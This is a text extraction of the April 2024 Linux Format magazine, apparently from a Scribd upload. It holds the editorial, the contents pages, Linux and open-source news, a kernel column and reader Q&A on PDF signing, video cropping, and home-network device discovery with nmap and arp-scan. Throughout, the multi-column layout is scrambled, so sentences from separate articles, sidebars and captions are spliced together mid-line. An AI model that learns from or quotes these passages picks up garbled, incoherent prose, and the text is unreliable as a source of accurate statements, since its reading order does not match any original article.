100% found this document useful (1 vote)
846 views100 pages

Linux Format - April 2024 UK

Uploaded by

ggeandersonreis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
846 views100 pages

Linux Format - April 2024 UK

Uploaded by

ggeandersonreis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 100

WELCOME

MEET THE TEAM Back to basics


We’re hacking things this month – but
the old-school way! So, what’s your For anyone looking to learn the
basics of hacking, we hopefully
favourite hack to make Linux or normal have the right issue for you.
life a little easier? Open source was always the
home of hacking, and by that
we mean trying to get things
to work in ways for which they
Jonni Bidwell were never designed. A lot of
Kali Linux’s Nethunter edition is for mobile that meaning has been lost
devices, but the less-discussed security- over the years, however, and
focused GrapheneOS is ideal if you have an it’s something of a shame.
old(ish) Pixel device you want to deGoogle. Hacking can be a great learning
If you have another Android device, porting experience, helping you to gain a
and building GrapheneOS would be an excellent side project. greater understanding of how your systems work.
So, while we might be looking at Kali Linux, the world’s
best-known hacking collection, we’re using it to play around
Nate Drake with Python, understand the kernel, do some code compilation,
My dad always asked why I never lost my examine our networks, and perhaps crack a few admin
toothbrush. It’s because I place keys on passwords on the way. It’s that heady combination of fun
dedicated hooks, clothing in marked and education that I hear the kids love!
drawers, and unused cables and USB And what starts off as a bit of hacking fun can turn into a full-
sticks in a special bag. I never lose blown career, not just in, say, pen-testing, but this issue we’re
anything, particularly my tendency to be anally retentive! looking at the home-brew Maestro Rust kernel, finalising our
point-and-click adventure, building fun Pi projects, creating
Nick Peers 3D-printable CAD models, adding plugins to our LXF shell, and
It has to be Podman. I’ve just built a new coding games for the Commodore 64! That last one might not
server and I’ve realised that migrating all be that commercial these days, but it’s certainly enjoyable!
my services to containers will make any
future upgrades or rebuilds much easier
to apply. It’s been a learning curve, but I’m
getting there. And at least I can’t bork my
main system while experimenting… Neil Mohr Editor
[email protected]

Les Pounder
I use 3D printers to print my own storage
solutions based upon Gridfinity. This
system enables the containers to stack,
slot and build into IKEA drawers, just like I
am building Lego. I fear that I may have
gone too far in my quest for ultimate storage density!
Subscribe
Michael Reed
& save!
I probably shouldn’t be telling you this, On digital and print:
but I hide my emergency five pound note
in the inside back of my phone case. I see page 16
live in the north of the UK, so in a genuine
emergency, it can be used to purchase a
pint of lager and another small drink.

www.techradar.com/pro/linux April 2024 LXF313 3


SUBSCRIBE NOW!
Page 16

HACKER’S
REVIEWS

TOOLKIT
After an extended break, alleged
GeForce RTX 4070 Super 19 hacker Jonni Bidwell emerges
Benchmarking superhero Jarred Walton
considers what’s so super about from the shadows to teach
mid-cycle updates. you the noble art and
keep you out of trouble.
See page 30!

Linux Mint 21.3 20


Nate Drake keeps things Minty fresh with
this incredibly intuitive and powerful Linux
distro. Be sure to add some spices.

CREDIT: Magictorch

ROUNDUP IN DEPTH

AV Linux MXE-23.1 21
Nate Drake puts his ear to the ground
to hear the latest version of AV Linux,
Enlightenment, rumbling into town.

Solus 4.5 Resilience 22


Nate Drake’s Irish eyes are smiling at this
offering from Solus, with improvements to
CREDIT: Getty Images

the desktop and under the hood.


Retrogaming distros 24 The paw-fect distro 46
SDesk 2024.01.26 23 Michael Reed takes a look at five different Animal lover Nick Peers can hardly
Nate Drake discovers the new kid on the systems that can turn a computer into a ‘container’ himself after taking the Puppy
block, SDesk, including shiny toys such as retrogaming paradise, ready to play the Linux developer’s new distribution for a
Wayland and a brand new browser. games of his youth. good run off the lead.

4 LXF313 April 2024 www.linuxformat.com


CONTENTS

Pi USER TUTORIALS

Pi news 39 TERMINAL: Use parallel processing 50


Introduced by Les Pounder, who weighs Parallel processing, the computing
up the pros and cons of Raspberry Pi Ltd’s equivalent of juggling, as Shashank
proposed IPO. Sharma calls it, can be used to save time.

MX Linux 23.1 Pi 40 VIRTUALBOX: Get more from VMs 52


Les Pounder spends all day tinkering with Nick Peers reveals how to install the latest
Raspberry Pis and the latest MX Linux has version of VirtualBox and use it to improve
got him in a spin. Scare enemies with Pi prank box 42 your VM experience.
Les Pounder is scary but buying OEP3W
amplifiers from AliExpress is worse. He EXT4: What’s in a filesystem? 56
wonders what pranks he can pull… Mats Tage Axelsson explains how your
filesystem runs everything and when it
helps for you to do something about it.

NVMe Base Pi 5 41 Enhance your Pi-vacy 44


Everyone, says Les Pounder, is A man who keeps himself to himself,
based, especially when it comes Christian Cawley explains how to keep
to Pimoroni! online activity private when using a Pi.
ADVENTURE GAME STUDIO: Sharing 62
Nate Drake invites you to relive the glory
days of point-and-click adventure games
CODING ACADEMY by creating your very own.

Revealing the shell behind the shell 90 OPENSCAD: Coding CAD models 66
In the last iteration of the shell, Ferenc Hungarian boy genius Tam Hanna
Deák managed to hide the password for helps you improve your 3D models
his home computer… with OpenSCAD and a 3D printer.

Develop games for the CBM-64 94 MAESTRO: Test a Rust-based kernel 70


David Bolton explains how to develop Nate Drake delves into Maestro, written
games in 6502 for the Commodore 64 entirely in Rust. It may need tuning but
and run them on the Vice emulator. developer Luc Lenôtre is just warming up…

REGULARS AT A GLANCE ADMINISTERIA

News 6 Subscriptions 16 Administeria 74


Change at top of Mozilla, Plumbers Grab your monthly dose of Linux, save Stuart Burns laments the cost of IPOs,
Conference in the pipeline, donation to help money and receive two 64GB USB sticks. plus talks up disk management as well as
Rust shine, Ryzen AI on Linux horizon, plus using the Pi 5 as a mini server.
views and opinions from industry insiders, Back issues 60
and a round-up of the latest distro releases. Get hold of previous Linux Format editions. Yodeck 76
Jonas P DeMuro dusts off his Raspberry Pi
Kernel watch 10 Overseas subscriptions 61 so he can take a quick overview of this
Get Linux Format shipped around the globe. digital signage service.
Answers 11
Neil Bothwick has just been upgraded with HotPicks 83 Hostinger 77
a PCIe slot in his arm, which has helped Mayank Sharma is worryingly efficient James Capell is just the guy to try out a
boost his ability to answer questions on at finding ways to waste time online, web host that’s easy enough for your
PDF signatures and conversion, KDE Wallet, especially after he’s rummaged in granny to use.
grabbing YouTube movies and more. repos to find gems like Index, QDirStat,
VokoscreenNG, Atop, Sleek, SimpleX Chat, Framework laptops 78
Mailserver 14 RustDesk, UnCiv, Naikari, Nyxt and Pin It! An extended look at how Framework has
Neil responds to readers’ ruminations on evolved over three years and discover the
making the move to Linux, and more. Next month 98 DIY laptop concept has come of age.

www.techradar.com/pro/linux April 2024 LXF313 5


THIS ISSUE: Change at top of Mozilla Plumbers Conference
in pipeline Donation to help Rust shine Ryzen AI on horizon

SOFTWARE

New Mozilla CEO to


double down on Firefox
Current CEO Mitchell Baker is stepping down in favour of board member
Laura Chambers, who’s taking up the mantle for the rest of this year.
n early February, current Mozilla CEO also means any new CEO will have to divide their
I Mitchell Baker announced she will be
returning to her former role as Mozilla
attention between these and Firefox itself.
It’s unlikely Chambers will be able to tip the
Corporation executive chairwoman. For the odds back in Firefox’s favour before she leaves
remainder of 2024, her role will be filled by for Australia at the end of 2024. A number of
Laura Chambers, who has been a member of Redditors responding to the announcement also
the Mozilla board for the past three years. speculated that a CEO whose experience comes
Speaking on the Mozilla blog, Baker mainly from selling commercial products may
emphasised Chambers’ “wealth of experience”, not have a sufficient grasp of open source
which includes senior roles at Airbnb, PayPal projects, particularly with regard to resource
and eBay. Baker also outlined Chambers’ goals allocation for active development. Mozilla’s new CEO will hold the post
for the coming year. Still, said commenters may not realise how for the rest of 2024. Her main focus
One of the main goals is supposedly doubling commercialised Mozilla is these days. While the will be on core products.
down on key Mozilla products, such as the Mozilla Foundation remains a not-for-profit, it
Firefox browser. A quick trip to the Mozilla also has two commercial entities: Mozilla
website lists its family of products, including the Corporation and MZLA
corporation’s recent announcement of a paid Technologies Corporation.
Monitor Plus service, which supposedly can In 2020, after returning to the
remove subscribers’ personal information from position of CEO, Mitchell Baker
data brokerage sites. This seems to be in line was awarded a salary of over
with the stated goals of also bringing new $3 million, even as around 250
products to market. employees (including a number of
Baker has also promised that she will Rust core developers) were laid
represent Mozilla more consistently in public, off due to shrinking revenues.
“With a focus on policy, open source and Although the company accepts
community – through speaking and direct donations, the vast majority of its
engagement with the community.” revenue (around 85%) comes from
This will no doubt come as welcome news to Google, the default search engine
CREDIT: Stat Counter

Firefox lovers, given that during Baker’s time at for Firefox.


Mozilla, she’s seen the browser’s market share With a browser propped up by
fall from a record high in 2010 of around 34% to the developer of rival Chrome, for- Chrome’s market dominance is a
a little over 3% in 2024. profit arms and controversial bonuses, new CEO potential concern, given Mozilla derives
The existence of other so-called family Chambers is in for a challenging year. Read the most of its revenue from making
products, like Mozilla VPN, Pocket and Relay, full announcement at https://mzl.la/3OzMmTt. Google Firefox’s default search engine.

6 LXF313 April 2024 www.linuxformat.com


NEWSDESK

CONFERENCE OPINION

Tap into all the Linux plumbing SOOTHING


The Linux Plumbers Conference 2024 will take place
BURNOUT
on 18th-20th September in Austria Center, Vienna.
Registrants can attend in person or remotely.
n the words of the new live website,
I “The Linux Plumbers Conference (LPC)
is a developer conference for the open
David Stokes
is a technology evangelist.
source community.” The LPC has been held
annually in some shape or form since 2008. This ‘Find a job you love,
year it will be possible to attend both in person and you will never
or remotely, though those giving presentations have to work a day in your
are encouraged to be there in the flesh. life,’ right? Wrong. Open
As always, the conference will also be live- source communities all too
streamed on YouTube. Viewers can also interact often run on empty. Burnout
via chat using Matrix for specific events (https:// is a big problem as far as
matrix.to/#/#lpc2023:lpc.events). contributors are concerned.
The conference brings together the top Although the venue for this year’s LPC has been announced, Maintaining a project is
developers working on Linux internals, including registration info and costs have yet to be confirmed. more than a labour of love.
kernel subsystems, core libraries and windowing Big projects like PostgreSQL
systems. Developers are also encouraged to Another example cited on the website dates deliver new versions that
submit proposals for discussion, focusing on back to the first LPC in 2008, on the topic ‘From consistently outperform their
problems, proposals and proof-of-concepts. The Naught to Sixty in 5 Seconds’. The goal was to predecessors each year. But,
overall format is of several working sessions boot a Linux netbook in five seconds, which solo or small team projects
focusing on specific Linux ‘plumbing’ topics. required coordinated changes to many system can lack the depth to spread
For instance, the 2023 LPC had a components. Within a few months of that year’s the work around. Projects
presentation about adding Rust support to LPC, boot time was reduced to three seconds. are part-time, after-hours
the kernel, as well as a discussion of speeding To find out more, visit https://lpc.events/ endeavours that take place
up kernel testing and debugging with virtme-ng. event/18/page/224-lpc-2024-overview. alongside personal time. Yet
when updates are needed or
emergencies happen, it’s
hard for those involved to
say no. This leads to burnout.
GRAPHICS Many of us find it hard to

Ryzen AI is coming to Linux


recognise burnout and few
know how to step away
without quitting. As a
community, we need to
After many requests, AMD’s first release is on its way. share in the work involved,
and make it easier for those
n a promising development, AMD xdna-driver. Those who do take the time to read at the sharp end to step back
I has released the initial code for the
XDNA Linux driver, marking its foray
the online docs will observe that there seem to
be no upstreaming plans to incorporate the
and recharge.
More support for open
into providing open source support for Ryzen driver into the main Linux kernel, so it’s not clear source projects is needed.
AI on Linux. The move follows AMD’s if AMD will push for this or continue to maintain That normally gets equated
acknowledgment of over 1,000 customer the XDNA driver out of tree. to financial support, which is
requests for Linux support since last October. Online response from Linux fans seems to be always welcome. But support
The XDNA driver is designed to work with a mix of cynicism and cautious optimism, with and understanding around
AMD Phoenix/Strix SoCs featuring Ryzen some expressing hope for more streamlined workloads and commitments
AI, particularly on the new Zen 4 mobile solutions, emphasising the need for improved is just as important. Without
processors like the AMD Ryzen 7040 series. user experience compared to AMD’s ROCm this understanding, the
AMD has tested the driver on Ubuntu software stack. number of people willing to
CREDIT: Mastodon

22.04 LTS but you need kernel 6.7 or newer CUDA has traditionally dominated AI give up their time, effort and
with IOMMU Shared Virtual Addressing (SVA) workloads, and online chatter from Linux livelihoods will dwindle as
enabled. The XRT base package must also be enthusiasts is sceptical that a single driver with they fall out of love with their
installed. The driver is available with full install limited hardware support will topple Nvidia’s AI projects. This would
instructions via https://github.com/amd/ market share any time soon. be a huge loss.

www.techradar.com/pro/linux April 2024 LXF313 7


NEWSDESK

OPINION CODING LANGUAGE

GROUP Rust gets $1 million


EFFORT Google boost Google’s VP of safety and security
The money will further aims to transition believes prioritising seamless
interoperability between Rust and
organisations from legacy C++ code. C++ will further its adoption.

n early February, the Rust Foundation The Rust Foundation has also created its
Italo Vignoli
is a founder of LibreOffice and
I announced via its blog that Platinum
Member Google has donated $1
new Interop Initiative, to help smooth the
transition for businesses reliant on C++
the Document Foundation. million for the specific purpose of improving code. The initiative’s first task will be to draft
interoperability between Rust and C++. a roadmap to outline the scope of work yet to
LibreOffice 24.2 In a separate post, Lars Bergstrom, director be done to this end.
Community has of Android platform tools and libraries, and Because the Rust tooling and ecosystem
recently been released by chair of the Rust Foundation Board, pointed is already interoperable with Android,
the Document Foundation out that when Google first signed up in 2021, Google’s donation is likely to continue this
with the new calendar-based Rust was already being used extensively in fruitful partnership.

CREDIT: Pexels
numbering scheme (YY.M.x) Android and other Google products. Now he You can discover more at https://
that aims to help users keep describes the programming language as “one foundation.rust-lang.org/news/google-
their installation up to date. of the strongest tools we have to address contributes-1m-to-rust-foundation-to-
There are 166 contributors memory safety security issues”. support-c-rust-interop-initiative/.
to the new features: 57% of
code commits come from
the 50 developers employed
by three companies on the
TDF Advisory Board –
BUGS COMPILERS

Security update LLVM/Clang can


Collabora, Allotropia
and RedHat – or other
organisations; 20% from

replace GCC
eight developers at the
Document Foundation; and A critical security flaw can
23% from 108 volunteers.
An additional 159
compromise Secure Boot.
volunteers have committed Most distros are compiled
to localisation in 160 critical vulnerability, tracked as CVE-
with GCC. LLVM now
languages, representing
hundreds of people providing
A 2023-40547, has been found in Shim,
an open source bootloader developed offers a viable alternative.
translations. LibreOffice 24.2 by RedHat. Shim is designed to provide Secure
Community is available in Boot support for computers with UEFI. ost distros use the GCC compiler and
120 languages, more than
any other desktop software,
However, its parsing of HTTP responses allows
an attacker to create specially crafted HTTP
M GNU toolchain by default. Still, LLVM
(Low Level Virtual Machine) and Clang
making it available to over requests. These can cause an out-of-bounds now offer comparable performance on most
5.5 billion people worldwide write, potentially compromising a system by systems and have excellent C/C++ support.
CREDIT: Eclypsium, FOSDEM/Chimera Linux/Daniel Kolesa

in their native language. Plus, executing privileged code before the OS loads. This may why certain versions of Linux like
over 2.4 billion people speak According to a report by Eclypsium, this OpenMandriva are built using Clang. Chimera
one of these 120 languages attack can be carried out locally, remotely or Linux also relies on an LLVM toolchain.
as a second language. via the same network. Linux users are advised Chimera developer Daniel Kolesa has
LibreOffice offers the to update to the latest version of Shim, v15.8, recently delivered a presentation at FOSDEM
highest level of compatibility then update the UEFI Secure Boot DBX. 24 on building a Linux distro using LLVM, citing
in the office suite market, See https://eclypsium.com/category/blog/ its more modern compiler design, as well as the
from native support for the for more information. ease of building and bootstrapping. See https://
Open Document Format fosdem.org/2024/schedule/event/fosdem-
(ODF) to superior support for While Shim 2024-2555-building-a-linux-distro-with-llvm/.
was developed
MS Office files, as well as
by RedHat, this
filters for a wide range of
vulnerability
legacy document formats. affects all
It is available at Linux systems
www.libreoffice. that support
org/download. Secure Boot. The presentation discusses building a Linux distro using LLVM.

8 LXF313 April 2024 www.linuxformat.com


NEWSDESK

Distro watch
OPINION

KERNEL
What’s behind the free software sofa? TESTING
EASYOS 5.7
EasyOS claims to be a standalone Linux distro, though it uses many of
same technologies and package formats as Puppy Linux. This includes
supporting containerisation of apps out of the box. Like Puppy, the OS
can also load fully into RAM and can even disable write access to hard
drives while doing so. It uses four package managers (PKGget, SFSget, EasyOS is GUI- Helen Koike
Appi and Flappi), so you can install virtually any software. Find out more friendly, fast is a senior software engineer
at https://easyos.org and read our in-depth feature on page 46. and lightweight. at Collabora.

Linus Torvalds’s
recent critique of the
SYSLINUXOS 12.3 Xe driver’s compilation issues
SysLinuxOS is based on Debian 12 Bookworm. It’s primarily designed in Linux 6.8 made it clear:
for system administrators, so includes a number of networking tools, thorough testing is critical in
such as VPN software, remote clients and various browsers. These are Linux kernel development.
easily accessible via either the MATE or Gnome desktop environments Without the right tools,
(separate ISOs are available). New bundled apps include WoeUSB, trying to keep up with
Teams for Linux, Webex, GitHub Desktop, Wiregui and Timeshift. SysLinuxOS offers a upstream Linux to deliver
SysLinuxOS is a live distro but installation is supported via Calamares. complete networking stability, security and new
Read more at https://syslinuxos.com. environment. features is very challenging.
Released with Linux kernel
6.7, DRM-CI is a new GitLab-
CI pipeline that enables
KAOS 2024.01 developers to test their
KaOS is another independently developed distro, although its design graphics subsystem patches
is inspired by Arch Linux. It uses the Qt 6.6.1 and KDE Frameworks across numerous devices
5.249.0. KaOS now also incorporates the Plasma 6 desktop. The within the community’s
latest version also comes with an overhauled version of the OS’s own shared infrastructure. It
Midna theme. Given that it’s available as a pure Qt6/kf6 application, KaOS now includes runs on the Freedesktop
LibreOffice has now replaced Calligra as the default office suite. You Plasma 6 with infrastructure, allowing for
can learn more at https://kaosx.us. overhauled apps. efficient kernel compilation
and dispatches tests across
multiple devices available in
various community labs.
OPNSENSE 24.1 SAVVY SHARK With DRM-CI, developers
OPNSense is a FreeBSD-based OS designed specifically for firewalls can now enhance their
and routers. Main features include a forward caching proxy, traffic patch submission process
shaping, intrusion detection, 2FA and easy OpenVPN client setup. by running pipelines and
Savvy Shark’s new features include ports-based OpenSSL 3, Suricata 7, sharing the results link when
several MVC/API conversions, a new neighbour configuration option for submitting patches. This aids
ARP/NDP, core inclusion of the os-firewall and os-wireguard plugins, A specialist distro reviewers and maintainers in
CARP VHID tracking for OpenVPN/WireGuard, and a functional Kea designed for firewalls assessing the patch’s impact,
DHCPv4 server with HA support. See https://opnsense.org. and routers. with all the advantages of
pre-merge tests. However,
to conserve resources, it’s
essential to coordinate
SLACKEL 7.7 MATE with maintainers on their
Slackel is based on Slackware Linux and Salix. Both installation and preferred testing protocols.
live ISOs are available. The MATE edition currently uses v1.26.2 of the A GitLab-CI workflow
desktop environment and incorporates Linux kernel 6.6.11. The OS also presents a significant stride
includes the latest updates from Slackware’s Current tree, as well as in Linux kernel development.
salixtools (borrowed from Salix). The developers have also created Slackware users can It not only streamlines the
useful GUI utilities such as instonusb, which can create a live Slackel also benefit from testing process but fosters a
USB stick with persistent encryption file. See more at: www.slackel.gr. Slackel repositories. culture of shared resources
and community
collaboration.

www.techradar.com/pro/linux April 2024 LXF313 9


NEWSDESK

Kernel Watch
OPINION
HOW TO
MILK IT
Jon Masters keeps up with all the latest happenings
in the Linux kernel, so you don’t have to.
inus Torvalds has announced Linux The Windows kernel – which is still often
Jon Masters is a kernel hacker
who’s been involved with Linux
L 6.8-rc4, the mid-point towards a
final 6.8 release, expected by mid-
referred to by the older moniker NT – does a
number of things very differently from how
for over 22 years. March. Among the features recently merged Linux does them. One of those is how it carries
is initial host support for Intel Trust Domain out synchronisation. This refers to APIs that
I play with a lot of Extensions (TDX) – its flavour of Confidential allow threads to wait for one another while
hardware at home. Compute (CoCo). This is similar to AMD’s some work is performed, and then signal a
Lately, my experiments have SEV (Secure Encrypted Virtualization), which wake-up event to those waiting threads later.
involved a lot of machine is also in the process of being upstreamed. Wine emulates all of this in userspace but
learning, the usual dosage recent applications “use these APIs more
of Arm, and some RISC-V Optimising Windows emulation strenuously, and the overhead … has become
for good measure. On the Elizabeth Figura has posted the second a bottleneck”.
latter front, I was briefly version of a complex patch series aimed The new code creates a driver that, when
optimistic this month that I loaded, exposes an API with
had finally found a usable the NT thread semantics but
RISC-V platform capable of “The performance improvement without disrupting the core
running a real-ish Linux with kernel functionality.
decent IO and memory. measured by frame rate is anything What does it mean for
The Milk-V Pioneer began from 21% to as much as 678%.” performance? Well, according
life as a Crowd Supply to Elizabeth, the performance
fundraiser that I bought into. at introducing Windows NT-like improvement measured by frame rate is
Over the holidays, the first synchronisation primitives to Linux for anything from 21% (in Metro 2033) to as much
boards began to ship. the purpose of optimising Windows as 678% (Dirt 3). As she puts it, for some games
Supporters were able to emulation. Those readers who enjoy there’s no improvement, “but for others frame
purchase either a bare gaming, or use a few Windows productivity rate improvements of 50 to 150 per cent are
board or a full system applications, will almost certainly have used not atypical”.
with 128GB RAM, decent either Wine or the commercially supported For those who want to learn more, the work
storage, graphics and so on variants from Codeweavers. Running was presented at the 2023 Linux Plumbers
in a case. I settled for the Windows applications is an important Conference. A recording is available, which
expensive enough $1,500 use case for many people, but one that you can watch here: www.youtube.com/
single-board option and did doesn’t come naturally to Linux. watch?v=NjU4nyWyhU8.
the installation myself. This
was not as easy as it should
have been, given that the ONGOING DEVELOPMENT
docs were more bare-bones
than the board. But I did get Assorted reports claim that Qualcomm’s difference. Academics and industry would
it to boot – all 64 cores of it. upcoming Snapdragon X Elite will have often describe both as having Big-O
They’re the main selling some great performance numbers. But complexity of log2(n), but there is a
point, even if they are fairly something else equally interesting doesn’t difference, and in the real world that is
underpowered cores overall. get as much attention: it will (apparently) measurable and can be improved.
The downsides are that run upstream Linux out of the box. This is Various Calls For Papers (CFPs) are
the firmware leaves much potentially great news for us Linux users beginning for tracks at microconferences
to be desired, the OS comes interested in the new chips. happening around the Open Source
without source (and no It’s interesting to see patches flowing Summit Europe and Linux Plumbers
upstream kernel), and the into Linux for fundamental algorithms, Conference, both taking place back to
CPUs implement the non- even after all these years of kernel back in mid-September. This year’s venue
standard pre-1.0 vector development. A recent example came for the events will be Vienna (the organisers
extension, meaning future from Kuan-Wei Chiu, who posted an alternate between the US and EU). If you’re
software is likely to break. optimised heapsort that is slightly more interested in meeting with lots of open
These negatives are a real efficient than the default used by bcachefs. source developers in one room, definitely
shame because the board It requires log2(n) comparisons versus check out the Linux Foundation and
has such potential. 2*log2(n), meaning a constant scale factor Plumbers websites (http://lpc.events).
Hopefully, things will
improve over time.

10 LXF313 April 2024 www.linuxformat.com


Neil
Bothwick
has just been
Got a burning question about open source or the kernel? upgraded
with a PCIe
Whatever your level, email it to [email protected] slot in his arm.

Q AI have
sign of the times
a number of PDF forms
could do this in LibreOffice, but it would
involve a lot of trial and error, trying to get
background in the other three quarters.
Not clever in my not so humble opinion!
that I need to complete and sign. The the position exactly right, and would not Is there a Linux program that can get
completing part is not a problem– Okular be easily reproducible. So use gs from rid of that useless background and leave
handles that. My issue is that the forms’ Ghostscript, like this: the movie I wanted? I can think of a long-
fields only accept text input, and typing $ gs -o offset-sig.pdf -sDEVICE=pdfwrite -c winded solution: use Lives to produce all
my name in the field is not acceptable; I “<< /PageOffset [172 156] >> the frames, then use a combination of
need an actual signature. I know I could setpagedevice” -f sig.pdf GIMP and ImageMagick to cut the movie
print out each form, sign it manually, then The offsets are in points, 1/72nd of an out of each frame. Not easy, to say the
scan it back to a PDF, but that is a lot of inch, so you could determine the offset least. Then use Lives again to produce
time and a not insignificant number of with a ruler or use trial and error. Honestly, the movie from the resulting frames.
trees lost for the number I have to deal we found the latter approach easier. Then Malcolm Lang
with each month. Is there a way I can add you use PDFtk’s stamp function to overlay
a scanned image of my signature to the
field of each? I’d prefer a command-line
the signature on the form:
$ pdftk form.pdf stamp offset-sig.pdf
A The tool for this job, as it is for so
many video-processing tasks, is
option so I can batch process the PDFs. output form-signed.pdf FFmpeg. Specifically, its crop filter, which
Peter Higgins View the resulting file and, if the does exactly what you are looking for. Its
signature is not correctly placed, run basic usage is like this:
A You can indeed do this. You need
three programs: LibreOffice and
gs again with tweaked offsets. If all
the forms have the same layout, once
$ ffmpeg -i video.mp4 -vf crop=w:h:x:y
cropped-video.mp4
Ghostscript, which are installed by default you have the offset, you can apply the The -vf option tells FFmpeg to apply
with most distros, and PDFtk. You may not signature to each one with a shell loop: the crop filter with the settings given. The
have PDFtk, but it will be in your distro’s $ for f in form*.pdf; do width and height of the cropped area are
repositories. The first step is to create a pdftk $f stamp offset-sig.pdf output ${f/. given as w and h, while x and y specify the
PDF with your signature, and the simplest pdf/-signed.pdf} coordinates of the top-left corner of the
way to do this effectively is to import the done cropped area. Now you just need to know
scanned image into a blank page in the values to plug in here. You could use
LibreOffice Writer, place it at the bottom-
left, then export that page as a PDF. Call it
Q Video nastiness
I use YouTube-dl to get movies
trial and error or you could extract a single
frame with:
sig.pdf. The next step is to use Ghostscript from YouTube and have noticed a few $ ffmpeg -ss 00:00:15 -i video.mp4
to turn that into another PDF with the people think it’s clever to put the movie -frames:v 1 output.png
signature in the position you need. You in one quarter of the window with a wavy This extracts a frame 15 seconds into
the video that you can load into GIMP or
Using LibreOffice another graphics program to work out the
to create a size and position of the area you want to
PDF with only
crop. Once you have the values, you may
your signature
is the first want to try them out on a short section
step in signing of the video, especially if the full movie
other PDFs. is long. The -t option, if given before the
input file, sets the duration read from
input. You can combine this with -ss to
convert from a position in the file.
The following crops a 10-second clip,
starting one minute into the video:
$ ffmpeg -ss 00:01:00 -t 10 -i video.mp4 -vf
crop=w:h:x:y cropped-video.mp4

Q Network mapping
I need a list of all the intranet IPs
grabbed by the multiple PCs in the house
– all on same network. Is there a terminal
command, Python 3 script or Bash script

www.techradar.com/pro/linux April 2024 LXF313 11


ANSWERS

that can query the modem and output all According to


the assigned 192.168.x.x addresses? Arp-scan, we
have far too
Elliot Dobson
many Alexa
devices in
A You could try asking the router.
Most routers have a page on their
the house!

web interface that lists all connected


devices. You could fetch that with Curl,
Wget or Python’s urllib and parse it, but
it is a fair bit of work. First you have to
deal with the authentication aspect of
connecting to the router, then you have
to extract the information you want from
the returned HTML. It is possible – but
unnecessary, thanks to Nmap (https://
nmap.org). This is a network scanner that
can, among other things, return a list of
all devices on a network, provided they addresses. You can do this with Arp-scan, a multi-page PDF into separate image
respond to a ping. That should be all of which you also need to install from the files, convert a multi-page PDF into a
them unless you have unusual devices or software manager or with Apt. single image file, or extract each of
computers with very restrictive firewalls. $ sudo arp-scan 192.168.1.0/24 the images embedded within a PDF
You probably have to install Nmap as it is We have to use sudo as Arp-scan document. The first is the simplest, using
not part of most distros’ base installations. requires root access. You can specify the Convert from ImageMagick:
The basic format of the command is: IP address range as a netmask or as a $ convert file.pdf file.png
$ nmap -sn 192.168.1.0/24 start and end address, and you can specify Or:
$ nmap -sn 192.168.1.\* more than one range. This may be useful if $ convert file.pdf -quality 90 file.jpg
These two commands are equivalent you want to exclude certain addresses. For The -quality option sets the JPEG
and scan IP addresses starting with example, most routers give themselves compression level and quality, between
192.168.1. Which you choose is personal the .1 address, so you can omit that from 0 and 100. The higher the figure, the
preference, but if running the second the results with: better the quality and the larger the file
version in a shell, you need to escape the $ sudo arp-scan 192.168.1.2-192.168.1.254 produced. Because PDF is essentially a
* to prevent the shell trying to interpret it vector format, while PNG and JPEG are
as a filename glob. You can then use the
standard text-processing commands in a
Q Convert PDF to photo
I need to convert some PDF files to
pixel-based, you may find your image files
are the wrong size. In that case, use the
shell script – Grep, Sed or Awk most likely images. What is the best way to do this? -density option to set the DPI for the PDF
– to present the information as you need Ryan Gough when converting. A good starting point is:
it, or use the equivalent options in Python. $ convert -density 300 file.pdf file.png
Nmap scans your network for active
devices, so only returns results for devices
A PDF questions seem to be in vogue
at the moment. While you can use
Note that -density is specified before
the input file, while -quality is given
that are connected to the network and GIMP to convert the occasional file, the before the output file – each is used
responding when it runs. If you want command line is faster if you have several immediately before the file it applies to.
information on devices that have been files to convert. The best way to do this If the document has multiple pages,
connected but are switched off, you need depends on exactly what you want to do. you can use the same command and it
to access the ARP (Address Resolution There’s a number of possible ways to creates a separate numbered image file
Protocol) table on the router. This is what interpret your needs as stated: convert a for each page. If the document has more
maps hardware MAC addresses to IP single PDF page into an image file, convert than nine pages, the files are not ordered

A QUICK REFERENCE TO… WATCH


Have you ever repeatedly the terminal display. You doesn’t change until the JPG files are being added,
run the same command in can change the interval with process you are monitoring for example, you might think
a terminal? Maybe you are the -n option followed by a completes. For something to use $ watch -n 5 ls -l *.jpg
following the progress of a number of seconds. with continually changing only to find that it does not
background command, or There are several output, you may find the -d or show new additions. That
checking disk usage as it’s other useful options. For --differences option useful. is because the wildcard is
becoming critical. Rather example, Watch normally As the long name implies, interpreted by your shell
than continually hitting up runs continuously until you this highlights the difference before passing the list of
and Enter, you can use the terminate it with Ctrl+C, but between the latest output files to watch. You need to
watch command. At its the --chgexit or -g option and the previous one. escape the wildcard to have
simplest, you run it like this causes Watch to exit when You also need to be careful it interpreted each time that
$ watch somecommand the output of the command with how the shell interprets Watch runs the command,
This runs the command changes. Of course, this is your command. If you want to like this:
every two seconds, updating only useful when the output monitor a directory to which $ watch -n 5 ls -l \*.jpg

12 LXF313 April 2024 www.linuxformat.com


ANSWERS

KDE’s Wallet terminal when I log in? My prompt looks


system is a different (doesn’t show the current
convenient
directory), there are no colours, the up and
and secure
way of storing down arrows don’t cycle through previous
passwords and and next commands, and so on.
other sensitive Charlotte Kerr
data, but you
can disable it if
you wish. A The appearance of a shell is
determined by the setting of
environment variables in your profile.
Bash, the shell used most of the time,
reads these from two places. The first is
/etc/profile, which is the same for all
users. Then it looks for .bash_profile,
.bash_login and .profile in the user’s home
directory and uses the first one it finds. It
is these files that give each user their own
custom shell. So where does a new user
get these files? When Useradd is used to
correctly in a file manager or terminal although it is possible to set it up this way create a user, it copies the files from /etc/
listing, which you can handle by telling and have the wallet opened automatically skel into the new user’s home directory.
Convert to use a fixed number of digits when you log in. This does reduce the You can modify these files to have new
for each file – 4 in this example: security of the system and is not possible default settings for new users, but this
$ convert file.pdf file-%4d.png if you have auto-login enabled – otherwise does not affect any existing users. For
If you want everything in one large anyone could turn on your computer and them, you need to edit ~/.bash_profile. If
image, you can join the files together, once access your passwords. Normally, the you want a similar setup to your existing
again thanks to ImageMagick, like this: wallet is opened, and the password user, copy the file from their home to the
